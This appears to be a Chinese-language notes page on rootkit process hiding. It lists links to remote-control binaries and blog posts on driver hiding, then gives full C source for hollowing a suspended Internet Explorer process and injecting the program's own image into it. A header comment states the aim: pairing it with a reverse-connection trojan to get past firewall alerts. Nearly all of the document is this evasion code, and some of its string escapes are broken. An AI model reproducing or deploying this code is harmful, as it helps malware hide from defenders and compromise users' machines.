## brokenjade.at.china.com/remote/remote.dll

brokenjade.at.china.com/remote/remote_src.zip
brokenjade.at.china.com/remote/rmexec.exe

## [Rootkit] 驱动隐藏 - 断链 from

https://www.cnblogs.com/LyShark/p/15018889.html
[Rootkit] 进程隐藏 - 内存加载（寄生 & 僵尸进程）from https://www.cnblogs.com/LyShark/p/15018909.html

**直接将自身代码注入傀儡进程，不需要DLL。首先用CreateProcess来创建一个挂起的IE进程，创建时候就把它挂起。然后得到它的装载基址，使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据，。再用VirtualAllocEx来个ie进程重新分配内存空间，大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址，就是刚才分配的内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用SetThreadContext设置下进程状态，最后使用ResumeThread继续运行IE进程。**

```
/************************************************************************
   Author:heli
   Date: 2022/02/10
   另一种将自己代码注入傀儡进程的方法，配合反弹木马，可绕过防火墙的
   反向连接报警。
************************************************************************/

#include <stdio.h>
#include <windows.h>


BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr);

typedef struct _ChildProcessInfo {
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;

BOOL
FindIePath(
char *IePath,
int *dwBuffSize
);

BOOL InjectProcess(void);

DWORD
GetSelfImageSize(
HMODULE hModule
);

BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);

char szIePath[MAX_PATH];

int main(void)
{
if (InjectProcess() )
{
   printf("This is my a test code,made by (Polymorphours)shadow3./r/n");
```

```
}
else
{
   MessageBox(NULL,"进程插入完成","Text",MB_OK);
}
return 0;
}

BOOL FindIePath(OUT char *IePath, OUT int *dwBuffSize)
{
char szSystemDir[MAX_PATH];
GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '/0';
lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe");
lstrcpy(IePath, szSystemDir);
return TRUE;
}

BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory( szModulePath, MAX_PATH );
ZeroMemory( szIePath, MAX_PATH );

GetModuleFileName( NULL, szModulePath, MAX_PATH );
FindIePath( szIePath, NULL );

if ( lstrcmpiA( szIePath, szModulePath ) == 0 )
{ //当前运行在IE空间里
   return FALSE;
}

hModule = GetModuleHandle( NULL );
if ( hModule == NULL )
{
   return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

// 以挂起模式启动一个傀儡进程,这里为了传透防火墙，使用IE进程
if ( CreateInjectProcess(&pi, &ThreadCxt, &stChildProcess ))
{
   printf("CHILD PID: [%d]/r/n",pi.dwProcessId);
   // 卸载需要注入进程中的代码
   if( UnloadShell(pi.hProcess, stChildProcess.dwBaseAddress) )
   {
    // 重新分配内存
    lpVirtual = VirtualAllocEx(
     pi.hProcess,
     (LPVOID)hModule,
     dwImageSize,
     MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if( lpVirtual )
    {
```

```
     printf("Unmapped and Allocated Mem Success./r/n");
    }
   }
   else
   {
    printf("ZwUnmapViewOfSection() failed./r/n");
    return TRUE;
   }

   if(lpVirtual)
   {
    PPEB = (DWORD *)ThreadCxt.Ebx;
    // 重写装载地址
    WriteProcessMemory(
     pi.hProcess,
     &PPEB[2],
     &lpVirtual,
     sizeof(DWORD),
     &dwWrite);

    // 写入自己进程的代码到目标进程
    if ( WriteProcessMemory(
     pi.hProcess,
     lpVirtual,
     hModule,
     dwImageSize,
     &dwWrite) )
    {
     printf("image inject into process success./r/n");

     ThreadCxt.ContextFlags = CONTEXT_FULL;
     if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
     {
      ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead-
>OptionalHeader.AddressOfEntryPoint;
     }
     else
     {
      ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead-
>OptionalHeader.AddressOfEntryPoint;
     }
#ifdef DEBUG
     printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);
     printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);
     printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);
     printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);
     printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip);
#endif
     SetThreadContext(pi.hThread, &ThreadCxt);
     ResumeThread(pi.hThread);
    }
    else
    {
     printf("WirteMemory Failed,code:%d/r/n",GetLastError());
     TerminateProcess(pi.hProcess, 0);
    }
   }
   else
   {
    printf("VirtualMemory Failed,code:%d/r/n",GetLastError());
    TerminateProcess(pi.hProcess, 0);
   }
}
return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;
_asm
{
   mov ecx,0x30
   mov eax, fs:[ecx]
   mov eax, [eax + 0x0c]
```

```
    mov esi, [eax + 0x0c]
    add esi,0x20
    lodsd
    mov dwImageSize,eax
}
return dwImageSize;
}

BOOL CreateInjectProcess(
       PPROCESS_INFORMATION pi,
       PCONTEXT pThreadCxt,
       CHILDPROCESS *pChildProcess )
{
STARTUPINFO si;

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie
if( CreateProcess(
    NULL,
    szIePath,
    NULL,
    NULL,
    0,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    pi ))
{
    pThreadCxt->ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi->hThread, pThreadCxt);

    PPEB = (DWORD *)pThreadCxt->Ebx;
    // 得到ie的装载基地址
    ReadProcessMemory(
     pi->hProcess,
     &PPEB[2],
     (LPVOID)&(pChildProcess->dwBaseAddress),
     sizeof(DWORD),
     &read );

    return TRUE;
}
return FALSE;
}

BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr)
{
    typedef unsigned long (__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned
long);
    pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;

    BOOL res = FALSE;
    HMODULE m = LoadLibrary("ntdll.dll");
    if(m)
{
        ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(m,
"ZwUnmapViewOfSection");
        if(ZwUnmapViewOfSection)
            res = (ZwUnmapViewOfSection((unsigned long)ProcHnd, BaseAddr) == 0);
        FreeLibrary(m);
    }
    return res;
}
```